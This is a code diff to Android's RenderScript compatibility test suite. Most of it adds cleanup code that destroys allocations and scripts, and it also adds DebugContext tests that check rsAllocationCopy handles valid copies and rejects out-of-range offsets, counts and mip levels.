--- a/tests/tests/renderscript/src/android/renderscript/cts/AtomicTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/AtomicTest.java
@@ -26,6 +26,20 @@
     Allocation mSrc;
     Allocation mReturn;
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mSrc != null) {
+            mSrc.destroy();
+        }
+        if (mReturn != null) {
+            mReturn.destroy();
+        }
+        if (mScript != null) {
+            mScript.destroy();
+        }
+        super.tearDown();
+    }
+
     private void initS(boolean fillData, int sz) {
         mSrcData = new int[sz * sz];
         mScript = new ScriptC_AtomicTest(mRS);
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/BaseObjTest.java b/tests/tests/renderscript/src/android/renderscript/cts/BaseObjTest.java
index 6a7a3e4..6288311 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/BaseObjTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/BaseObjTest.java
@@ -16,7 +16,6 @@
 
 package android.renderscript.cts;
 
-import android.renderscript.Allocation;
 import android.renderscript.BaseObj;
 import android.renderscript.Element;
 import android.renderscript.RSIllegalArgumentException;
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/ClearObjectTest.java b/tests/tests/renderscript/src/android/renderscript/cts/ClearObjectTest.java
index 9b1fbb7..dde4c54 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/ClearObjectTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/ClearObjectTest.java
@@ -73,6 +73,9 @@
 
         for(int i = 0; i < ObjectNum; i++)
             assertEquals(tmpArray[i], 1);
+
+        mIn.destroy();
+        mOut.destroy();
     }
 
     public void testclearObjectType() {
@@ -90,6 +93,9 @@
 
         for(int i = 0; i < ObjectNum; i++)
             assertEquals(tmpArray[i], 1);
+
+        mIn.destroy();
+        mOut.destroy();
     }
 
     public void testclearObjectAllocation() {
@@ -106,6 +112,10 @@
 
         for(int i = 0; i < ObjectNum; i++)
             assertEquals(tmpArray[i], 1);
+
+        mIn.destroy();
+        mOut.destroy();
+        allocation.destroy();
     }
 
     public void testclearObjectSampler() {
@@ -122,6 +132,9 @@
 
         for(int i = 0; i < ObjectNum; i++)
             assertEquals(tmpArray[i], 1);
+
+        mIn.destroy();
+        mOut.destroy();
     }
 
     public void testclearObjectScript() {
@@ -138,5 +151,8 @@
 
         for(int i = 0; i < ObjectNum; i++)
             assertEquals(tmpArray[i], 1);
+
+        mIn.destroy();
+        mOut.destroy();
     }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/ComputeTest.java b/tests/tests/renderscript/src/android/renderscript/cts/ComputeTest.java
index 43708ad..2ae3ccf 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/ComputeTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/ComputeTest.java
@@ -318,6 +318,7 @@
         t.invoke_test();
         waitForMessage();
         checkForErrors();
+        t.destroy();
     }
 
     private void checkInit(ScriptC_array_init s) {
@@ -388,6 +389,7 @@
         mRS.finish();
         waitForMessage();
         checkForErrors();
+        t.destroy();
     }
 
 
@@ -675,6 +677,7 @@
             waitForMessage();
         }
         checkForErrors();
+        s.destroy();
     }
 
     public void testMatrix() {
@@ -683,6 +686,7 @@
         mRS.finish();
         waitForMessage();
         checkForErrors();
+        s.destroy();
     }
 
     private boolean initializeStructObject(ScriptC_struct_object s) {
@@ -704,6 +708,7 @@
             waitForMessage();
         }
         checkForErrors();
+        s.destroy();
     }
 
     /**
@@ -714,6 +719,7 @@
         t.invoke_test();
         waitForMessage();
         checkForErrors();
+        t.destroy();
     }
 
     void setUpAllocation(Allocation a, int val) {
@@ -762,6 +768,11 @@
         } catch (RSRuntimeException e) {
         }
         checkForErrors();
+
+        in.destroy();
+        out.destroy();
+        badOut.destroy();
+        s.destroy();
     }
 
     /**
@@ -802,5 +813,10 @@
         assertEquals(2, i2[0]);
 
         checkForErrors();
+
+        ai1.destroy();
+        ai2.destroy();
+        instance_1.destroy();
+        instance_2.destroy();
     }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/CoreMathVerifier.java b/tests/tests/renderscript/src/android/renderscript/cts/CoreMathVerifier.java
index bc13144..cf535e8 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/CoreMathVerifier.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/CoreMathVerifier.java
@@ -3045,9 +3045,9 @@
         RemquoResult expected = remquo(args.inNumerator, args.inDenominator);
         // If the expected remainder is NaN, we don't validate the quotient.  It's because of
         // a division by zero.
-        if (expected.remainder != expected.remainder) {
+        if (Float.isNaN(expected.remainder)) {
             // Check that the value we got is NaN too.
-            if (args.out == args.out) {
+            if (!Float.isNaN(args.out)) {
                 return "Expected a remainder of NaN but got " +  Float.toString(args.out);
             }
         } else {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/DebugContext.java b/tests/tests/renderscript/src/android/renderscript/cts/DebugContext.java
index 5c71155..f1ca6ed 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/DebugContext.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/DebugContext.java
@@ -23,6 +23,8 @@
 import android.renderscript.RSRuntimeException;
 import android.renderscript.Type;
 import android.util.Log;
+import java.util.Random;
+import java.util.function.*;
 
 public class DebugContext extends RSBaseCompute {
     Allocation AUnused;
@@ -91,4 +93,381 @@
         // The context is dead at this point so make sure it's not reused
         RenderScript.releaseAllContexts();
     }
+
+    /**
+     * Helper for rsAllocationCopy tests
+     */
+
+    protected class SetupAllocationCopyTests {
+        int Width;
+        int Height;
+        int ArrLen;
+        Allocation aIn;
+        Allocation aOut;
+        Random RN;
+
+        SetupAllocationCopyTests(int dimension,
+            int size, Function<RenderScript, Type.Builder> TB, long seed) {
+            // Type.Builder constructor needs a RenderScript instance,
+            // and that's created by setupDebugContext(). Hence a
+            // Function<RenderScript, Type.Builder> is needed here
+
+            assertTrue(dimension == 1 || dimension == 2);
+
+            setupDebugContext();
+            RN = new Random(seed);
+            // So that we can have offsets that will be invalid in another
+            // dimension
+            Width = RN.nextInt(size/2)+size/2;
+            Height = RN.nextInt(size/2);
+            if (dimension == 1) {
+                ArrLen = Width;
+            } else {
+                ArrLen = Width * Height;
+            }
+
+            Type.Builder typeBuilder = TB.apply(mRS);
+
+            if (dimension == 1)
+                typeBuilder.setX(Width);
+            else
+                typeBuilder.setX(Width).setY(Height);
+
+            aIn = Allocation.createTyped(mRS, typeBuilder.create());
+            aOut = Allocation.createTyped(mRS, typeBuilder.create());
+
+            // Initialize test Allocations
+            if (aIn.getElement().getDataType() == Element.DataType.SIGNED_8) {
+                byte[] inArray = new byte[ArrLen];
+                RN.nextBytes(inArray);
+                byte[] outArray = new byte[ArrLen];
+                aIn.copyFrom(inArray);
+                aOut.copyFrom(outArray);
+            } else {
+                assertTrue(aIn.getElement().getDataType() ==
+                    Element.DataType.SIGNED_16);
+                short[] inArray = new short[ArrLen];
+                for (int i = 0; i < ArrLen; i++)
+                   inArray[i] = (short)RN.nextInt();
+                short[] outArray = new short[ArrLen];
+                aIn.copyFrom(inArray);
+                aOut.copyFrom(outArray);
+            }
+
+            // Setup script environment
+            if (dimension == 1) {
+                Soob.set_aIn1D(aIn);
+                Soob.set_aOut1D(aOut);
+            } else {
+                Soob.set_aIn2D(aIn);
+                Soob.set_aOut2D(aOut);
+            }
+        }
+
+        protected void finishAllocationCopyTests() {
+            mRS.finish();
+
+            // Flush messages through the pipeline.
+            mRS.sendMessage(RS_MSG_TEST_FLUSH, null);
+            waitForMessage();
+            Soob.destroy();
+        }
+    }
+
+    /**
+     * 1D copy - things should work under DebugContext if given
+     * legitimate arguments
+     */
+    public void testDebugContextRsAllocationCopy1D_Byte_Normal() {
+        SetupAllocationCopyTests AC =
+            new SetupAllocationCopyTests(1, 512,
+                (RenderScript rs)-> new Type.Builder(rs, Element.I8(rs)),
+                0x172d8ab9);
+        int Offset = AC.RN.nextInt(AC.Width);
+        int Count = AC.RN.nextInt(AC.Width - Offset);
+        Soob.set_dstXOff(Offset);
+        Soob.set_srcXOff(Offset);
+        Soob.set_xCount(Count);
+        Soob.set_srcMip(0);
+        Soob.set_dstMip(0);
+        Soob.invoke_test1D();
+
+        AC.finishAllocationCopyTests();
+
+        // Validate results
+        boolean result = true;
+        byte[] inArray = new byte[AC.ArrLen];
+        byte[] outArray = new byte[AC.ArrLen];
+        AC.aIn.copyTo(inArray);
+        AC.aOut.copyTo(outArray);
+        for (int i = 0; i < AC.Width; i++) {
+            if (Offset <= i && i < Offset + Count) {
+                if (inArray[i] != outArray[i]) {
+                    result = false;
+                    break;
+                }
+            } else {
+                if (outArray[i] != 0) {
+                    result = false;
+                    break;
+                }
+            }
+        }
+        assertTrue(result);
+
+        RenderScript.releaseAllContexts();
+    }
+
+    /**
+     * 2D copy - with legitimate arguments
+     */
+    public void testDebugContextRsAllocationCopy2D_Short_Normal() {
+        SetupAllocationCopyTests AC =
+            new SetupAllocationCopyTests(2, 128,
+                (RenderScript rs)-> new Type.Builder(rs, Element.I16(rs)),
+                0x172d8aba);
+        // to make sure xOff is not a valid yOff.
+        int xOff = AC.RN.nextInt(AC.Width-AC.Height) + AC.Height;
+        int yOff = AC.RN.nextInt(AC.Height);
+        int xCount = AC.RN.nextInt(AC.Width - xOff);
+        int yCount = AC.RN.nextInt(AC.Height - yOff);
+
+        Soob.set_dstXOff(xOff);
+        Soob.set_srcXOff(xOff);
+        Soob.set_yOff(yOff);
+        Soob.set_xCount(xCount);
+        Soob.set_yCount(yCount);
+        Soob.set_srcMip(0);
+        Soob.set_dstMip(0);
+        Soob.invoke_test2D();
+
+        AC.finishAllocationCopyTests();
+
+        // Validate results
+        boolean result = true;
+        short[] inArray = new short[AC.ArrLen];
+        short[] outArray = new short[AC.ArrLen];
+        AC.aIn.copyTo(inArray);
+        AC.aOut.copyTo(outArray);
+        for (int i = 0; i < AC.Height; i++) {
+            for (int j = 0; j < AC.Width; j++) {
+                int pos = i * AC.Width + j;
+                if (yOff <= i && i < yOff + yCount &&
+                    xOff <= j && j < xOff + xCount) {
+                    if (inArray[pos] != outArray[pos]) {
+                        result = false;
+                        break;
+                    }
+                } else {
+                    if (outArray[pos] != 0) {
+                       result = false;
+                       break;
+                    }
+                }
+            }
+        }
+        assertTrue(result);
+
+        // The context is dead at this point so make sure it's not reused
+        RenderScript.releaseAllContexts();
+    }
+
+    /**
+     * Test invalid arguments to rsAllocationCopy1D - bad source LOD
+     */
+    public void testDebugContextRsAllocationCopy1D_Byte_BadSrcLOD() {
+        SetupAllocationCopyTests AC =
+            new SetupAllocationCopyTests(1, 512,
+                (RenderScript rs)-> new Type.Builder(rs, Element.I8(rs)),
+                0x172d8abb);
+        int Offset = AC.RN.nextInt(AC.Width);
+        int Count = AC.RN.nextInt(AC.Width - Offset);
+        Soob.set_dstXOff(Offset);
+        Soob.set_srcXOff(Offset);
+        Soob.set_xCount(Count);
+        Soob.set_srcMip(1);  // bad source LOD
+        Soob.set_dstMip(0);
+        Soob.invoke_test1D();
+
+        AC.finishAllocationCopyTests();
+        assertTrue(mRanErrorHandler);
+
+        // The context is dead at this point so make sure it's not reused
+        RenderScript.releaseAllContexts();
+    }
+
+    /**
+     * Test invalid arguments to rsAllocationCopy1D - bad destination LOD
+     */
+    public void testDebugContextRsAllocationCopy1D_Byte_BadDstLOD() {
+        SetupAllocationCopyTests AC =
+            new SetupAllocationCopyTests(1, 512,
+                (RenderScript rs)-> new Type.Builder(rs, Element.I8(rs)),
+                0x172d8abc);
+        int Offset = AC.RN.nextInt(AC.Width);
+        int Count = AC.RN.nextInt(AC.Width - Offset);
+        Soob.set_dstXOff(Offset);
+        Soob.set_srcXOff(Offset);
+        Soob.set_xCount(Count);
+        Soob.set_srcMip(0);
+        Soob.set_dstMip(1);  // bad destination LOD
+        Soob.invoke_test1D();
+
+        AC.finishAllocationCopyTests();
+        assertTrue(mRanErrorHandler);
+
+        // The context is dead at this point so make sure it's not reused
+        RenderScript.releaseAllContexts();
+    }
+
+
+    /**
+     * Test invalid arguments to rsAllocationCopy1D - invalid count
+     */
+    public void testDebugContextRsAllocationCopy1D_Byte_BadCount() {
+        SetupAllocationCopyTests AC =
+            new SetupAllocationCopyTests(1, 512,
+                (RenderScript rs)-> new Type.Builder(rs, Element.I8(rs)),
+                0x172d8abd);
+        int Offset = AC.RN.nextInt(AC.Width);
+        Soob.set_dstXOff(Offset);
+        Soob.set_srcXOff(Offset);
+        Soob.set_xCount(AC.Width - Offset + 1);  // Invalid count by 1
+        Soob.set_srcMip(0);
+        Soob.set_dstMip(0);
+        Soob.invoke_test1D();
+
+        AC.finishAllocationCopyTests();
+        assertTrue(mRanErrorHandler);
+
+        // The context is dead at this point so make sure it's not reused
+        RenderScript.releaseAllContexts();
+    }
+
+    /**
+     * Test invalid arguments to rsAllocationCopy1D - invalid source offset
+     */
+    public void testDebugContextRsAllocationCopy1D_Byte_BadSrcOffset() {
+        SetupAllocationCopyTests AC =
+            new SetupAllocationCopyTests(1, 512,
+                (RenderScript rs)-> new Type.Builder(rs, Element.I8(rs)),
+                0x172d8abe);
+
+        int Offset = AC.RN.nextInt(AC.Width);
+        Soob.set_dstXOff(Offset);
+        Soob.set_srcXOff(AC.Width);  // Invalid src offset
+        Soob.set_xCount(1);
+        Soob.set_srcMip(0);
+        Soob.set_dstMip(0);
+        Soob.invoke_test1D();
+
+        AC.finishAllocationCopyTests();
+        assertTrue(mRanErrorHandler);
+
+        // The context is dead at this point so make sure it's not reused
+        RenderScript.releaseAllContexts();
+    }
+
+    /**
+     * Test invalid arguments to rsAllocationCopy1D - invalid destination offset
+     */
+    public void testDebugContextRsAllocationCopy1D_Byte_BadDstOffset() {
+        SetupAllocationCopyTests AC =
+            new SetupAllocationCopyTests(1, 512,
+                (RenderScript rs)-> new Type.Builder(rs, Element.I8(rs)),
+                0x172d8abf);
+
+        int Offset = AC.RN.nextInt(AC.Width);
+        Soob.set_dstXOff(AC.ArrLen);  // Invalid dst offset
+        Soob.set_srcXOff(Offset);  // Invalid src offset
+        Soob.set_xCount(1);
+        Soob.set_srcMip(0);
+        Soob.set_dstMip(0);
+        Soob.invoke_test1D();
+
+        AC.finishAllocationCopyTests();
+        assertTrue(mRanErrorHandler);
+
+        // The context is dead at this point so make sure it's not reused
+        RenderScript.releaseAllContexts();
+    }
+
+
+    /**
+     * Test invalid arguments to rsAllocationCopy2D - invalid y count
+     */
+    public void testDebugContextRsAllocationCopy2D_Short_BadYCount() {
+        SetupAllocationCopyTests AC =
+            new SetupAllocationCopyTests(2, 128,
+                (RenderScript rs)-> new Type.Builder(rs, Element.I16(rs)),
+                0x172d8ac0);
+        int xOff = AC.RN.nextInt(AC.Width);
+        int yOff = AC.RN.nextInt(AC.Height);
+        int xCount = AC.RN.nextInt(AC.Width - xOff);
+
+        Soob.set_dstXOff(xOff);
+        Soob.set_srcXOff(xOff);
+        Soob.set_yOff(yOff);
+        Soob.set_xCount(xCount);  // Legitimate X count
+        Soob.set_yCount(AC.Height - yOff + 1);  // Invalid Y count by 1
+        Soob.set_srcMip(0);
+        Soob.set_dstMip(0);
+        Soob.invoke_test2D();
+
+        AC.finishAllocationCopyTests();
+        assertTrue(mRanErrorHandler);
+
+        // The context is dead at this point so make sure it's not reused
+        RenderScript.releaseAllContexts();
+    }
+
+    /**
+     * Test invalid arguments to rsAllocationCopy2D - 2D operation on
+     * an 1D Allocation
+     */
+    public void testDebugContextRsAllocationCopy2D_Short_WrongD() {
+        setupDebugContext();
+
+        Random random = new Random(0x172d8ac1);
+        int width = random.nextInt(128);
+        int height = random.nextInt(128);
+        int xOff = random.nextInt(width);
+        int yOff = random.nextInt(height);
+        int xCount = random.nextInt(width - xOff);
+        int yCount = random.nextInt(height - yOff);
+        int arr_len = width * height;
+
+
+        Type.Builder typeBuilder1 = new Type.Builder(mRS, Element.I16(mRS));
+        typeBuilder1.setX(width);
+        // aIn is one-dimensional
+        Allocation aIn = Allocation.createTyped(mRS, typeBuilder1.create());
+        Type.Builder typeBuilder2 = new Type.Builder(mRS, Element.I16(mRS));
+        typeBuilder2.setX(width).setY(height);
+        Allocation aOut = Allocation.createTyped(mRS, typeBuilder2.create());
+
+        Soob.set_aIn2D(aIn);
+        Soob.set_aOut2D(aOut);
+        Soob.set_srcXOff(xOff);
+        Soob.set_dstXOff(xOff);
+        Soob.set_yOff(yOff);
+        Soob.set_xCount(xCount);  // Legitimate X count
+        Soob.set_yCount(yCount);  // Legitimate Y count (w.r.t aOut)
+        Soob.set_srcMip(0);
+        Soob.set_dstMip(0);
+        Soob.invoke_test2D();
+        mRS.finish();
+
+        // Flush messages through the pipeline.
+        mRS.sendMessage(RS_MSG_TEST_FLUSH, null);
+        waitForMessage();
+
+        Soob.destroy();
+        assertTrue(mRanErrorHandler);
+
+        // The context is dead at this point so make sure it's not reused
+        RenderScript.releaseAllContexts();
+    }
+
+
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/DoubleTest.java b/tests/tests/renderscript/src/android/renderscript/cts/DoubleTest.java
index 2ff23fc..edd64c4 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/DoubleTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/DoubleTest.java
@@ -56,6 +56,9 @@
                 assertTrue("Incorrect output for testDoubleGlobal " + message.toString(), false);
             }
         }
+
+        out.destroy();
+        dc.destroy();
     }
 }
 
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/Float16ArithmeticTest.java b/tests/tests/renderscript/src/android/renderscript/cts/Float16ArithmeticTest.java
index bc5410f..7ab2a87 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/Float16ArithmeticTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/Float16ArithmeticTest.java
@@ -36,6 +36,8 @@
 public class Float16ArithmeticTest extends RSBaseCompute {
     private int numInputs = Float16TestData.input.length;
 
+    private ScriptC_float16_arithmetic script;
+
     // Allocations to hold float16 input and output
     private Allocation mInput;
     private Allocation mF16Matrix;
@@ -47,7 +49,10 @@
 
     // Create input, intermediate, and output allocations.  Copy input data to
     // the input allocation
-    private void setupTest() {
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
         Element f16 = Element.F16(mRS);
         Element u16 = Element.U16(mRS);
         Type f16Matrix = Type.createXY(mRS, f16, numInputs, numInputs);
@@ -58,6 +63,17 @@
         mU16Matrix = Allocation.createTyped(mRS, u16Matrix);
 
         mInput.copyFromUnchecked(Float16TestData.input);
+
+        script = new ScriptC_float16_arithmetic(mRS);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        mInput.destroy();
+        mF16Matrix.destroy();
+        mU16Matrix.destroy();
+        script.destroy();
+        super.tearDown();
     }
 
     // Check the output of performing 'operation' on inputs x and y against the
@@ -116,9 +132,6 @@
     }
 
     public void testFloat16Add() {
-        setupTest();
-        ScriptC_float16_arithmetic script = new ScriptC_float16_arithmetic(mRS);
-
         script.set_gInput(mInput);
         script.forEach_add(mF16Matrix);
         script.forEach_bitcast(mF16Matrix, mU16Matrix);
@@ -137,9 +150,6 @@
     }
 
     public void testFloat16Sub() {
-        setupTest();
-        ScriptC_float16_arithmetic script = new ScriptC_float16_arithmetic(mRS);
-
         script.set_gInput(mInput);
         script.forEach_sub(mF16Matrix);
         script.forEach_bitcast(mF16Matrix, mU16Matrix);
@@ -158,9 +168,6 @@
     }
 
     public void testFloat16Mul() {
-        setupTest();
-        ScriptC_float16_arithmetic script = new ScriptC_float16_arithmetic(mRS);
-
         script.set_gInput(mInput);
         script.forEach_mul(mF16Matrix);
         script.forEach_bitcast(mF16Matrix, mU16Matrix);
@@ -179,9 +186,6 @@
     }
 
     public void testFloat16Div() {
-        setupTest();
-        ScriptC_float16_arithmetic script = new ScriptC_float16_arithmetic(mRS);
-
         script.set_gInput(mInput);
         script.forEach_div(mF16Matrix);
         script.forEach_bitcast(mF16Matrix, mU16Matrix);
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/ForEachTest.java b/tests/tests/renderscript/src/android/renderscript/cts/ForEachTest.java
index 38831f4..728405b 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/ForEachTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/ForEachTest.java
@@ -73,6 +73,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I8_2
         t = new Type.Builder(mRS, Element.I8_2(mRS)).setX(x).create();
@@ -87,6 +89,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I8_3
         t = new Type.Builder(mRS, Element.I8_3(mRS)).setX(x).create();
@@ -101,6 +105,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I8_4
         t = new Type.Builder(mRS, Element.I8_4(mRS)).setX(x).create();
@@ -115,6 +121,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I16
         t = new Type.Builder(mRS, Element.I16(mRS)).setX(x).create();
@@ -129,6 +137,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I16_2
         t = new Type.Builder(mRS, Element.I16_2(mRS)).setX(x).create();
@@ -143,6 +153,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I16_3
         t = new Type.Builder(mRS, Element.I16_3(mRS)).setX(x).create();
@@ -157,6 +169,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I16_4
         t = new Type.Builder(mRS, Element.I16_4(mRS)).setX(x).create();
@@ -171,6 +185,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I32
         t = new Type.Builder(mRS, Element.I32(mRS)).setX(x).create();
@@ -185,6 +201,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I32_2
         t = new Type.Builder(mRS, Element.I32_2(mRS)).setX(x).create();
@@ -199,6 +217,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I32_3
         t = new Type.Builder(mRS, Element.I32_3(mRS)).setX(x).create();
@@ -213,6 +233,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I32_4
         t = new Type.Builder(mRS, Element.I32_4(mRS)).setX(x).create();
@@ -227,6 +249,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I64
         t = new Type.Builder(mRS, Element.I64(mRS)).setX(x).create();
@@ -241,6 +265,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I64_2
         t = new Type.Builder(mRS, Element.I64_2(mRS)).setX(x).create();
@@ -255,6 +281,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I64_3
         t = new Type.Builder(mRS, Element.I64_3(mRS)).setX(x).create();
@@ -269,6 +297,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I64_4
         t = new Type.Builder(mRS, Element.I64_4(mRS)).setX(x).create();
@@ -283,6 +313,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F32
         t = new Type.Builder(mRS, Element.F32(mRS)).setX(x).create();
@@ -296,6 +328,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F32_2
         t = new Type.Builder(mRS, Element.F32_2(mRS)).setX(x).create();
@@ -310,6 +344,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F32_3
         t = new Type.Builder(mRS, Element.F32_3(mRS)).setX(x).create();
@@ -323,6 +359,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F32_4
         t = new Type.Builder(mRS, Element.F32_4(mRS)).setX(x).create();
@@ -336,6 +374,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F64
         t = new Type.Builder(mRS, Element.F64(mRS)).setX(x).create();
@@ -349,6 +389,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F64_2
         t = new Type.Builder(mRS, Element.F64_2(mRS)).setX(x).create();
@@ -362,6 +404,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F64_3
         t = new Type.Builder(mRS, Element.F64_3(mRS)).setX(x).create();
@@ -375,6 +419,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F64_4
         t = new Type.Builder(mRS, Element.F64_4(mRS)).setX(x).create();
@@ -388,6 +434,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // fe_test (struct)
         in = new ScriptField_fe_test(mRS, x).getAllocation();
@@ -400,6 +448,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // BOOLEAN
         t = new Type.Builder(mRS, Element.BOOLEAN(mRS)).setX(x).create();
@@ -413,6 +463,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // A_8
         t = new Type.Builder(mRS, Element.I8(mRS)).setX(x).create();
@@ -427,6 +479,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // RGBA_8888
         t = new Type.Builder(mRS, Element.I8_4(mRS)).setX(x).create();
@@ -441,6 +495,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // RGB_888
         t = new Type.Builder(mRS, Element.I8_3(mRS)).setX(x).create();
@@ -455,6 +511,11 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
+
+        badOut.destroy();
+        fe_all.destroy();
     }
 
 
@@ -477,6 +538,9 @@
         mRS.finish();
         waitForMessage();
         checkForErrors();
+
+        A.destroy();
+        s.destroy();
     }
 
     public void testNoRoot() {
@@ -496,5 +560,7 @@
         mRS.finish();
         waitForMessage();
         checkForErrors();
+        A.destroy();
+        s.destroy();
     }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/GetAllocationTest.java b/tests/tests/renderscript/src/android/renderscript/cts/GetAllocationTest.java
index 177a804..3804942 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/GetAllocationTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/GetAllocationTest.java
@@ -47,6 +47,10 @@
             tempArray[i],
             out[i]);
         }
+
+        mTemp.destroy();
+        mOut.destroy();
+        ms.destroy();
     }
 
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/GetElementAt.java b/tests/tests/renderscript/src/android/renderscript/cts/GetElementAt.java
index be56a62..613cb88 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/GetElementAt.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/GetElementAt.java
@@ -33,6 +33,23 @@
     ScriptC_get_element_at_x_y script_xy;
 
     @Override
+    protected void tearDown() throws Exception {
+        if (mOut != null) {
+            mOut.destroy();
+        }
+        if (gIn != null) {
+            gIn.destroy();
+        }
+        if (script_x != null) {
+            script_x.destroy();
+        }
+        if (script_xy != null) {
+            script_xy.destroy();
+        }
+        super.tearDown();
+    }
+
+    @Override
     public void forEach(int testId, Allocation mOut) throws RSRuntimeException {
         switch (testId) {
         case TEST_ID_X:
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/GetSetTest.java b/tests/tests/renderscript/src/android/renderscript/cts/GetSetTest.java
index 9607923..8c8caba 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/GetSetTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/GetSetTest.java
@@ -49,7 +49,33 @@
         scriptRelaxed.set_gHeight(gHeight);
     }
 
-
+    @Override
+    protected void tearDown() throws Exception {
+        if (walkAlloc != null) {
+            walkAlloc.destroy();
+        }
+        if (in1DAlloc != null) {
+            in1DAlloc.destroy();
+        }
+        if (out1DAlloc != null) {
+            out1DAlloc.destroy();
+        }
+        if (in2DAlloc != null) {
+            in2DAlloc.destroy();
+        }
+        if (out2DAlloc != null) {
+            out2DAlloc.destroy();
+        }
+        if (in3DAlloc != null) {
+            in3DAlloc.destroy();
+        }
+        if (out3DAlloc != null) {
+            out3DAlloc.destroy();
+        }
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
 
     protected void createWalk(int vsize) {
         // We do a random copy order to attempt to get multiple threads
@@ -117,7 +143,7 @@
 
     private void verify(byte[] a1, byte[] a2, Allocation alloc, String s, int vsize) {
         alloc.copyTo(a2);
-        for (int i=0; i < gWidth; i++) {
+        for (int i=0; i < gCount; i++) {
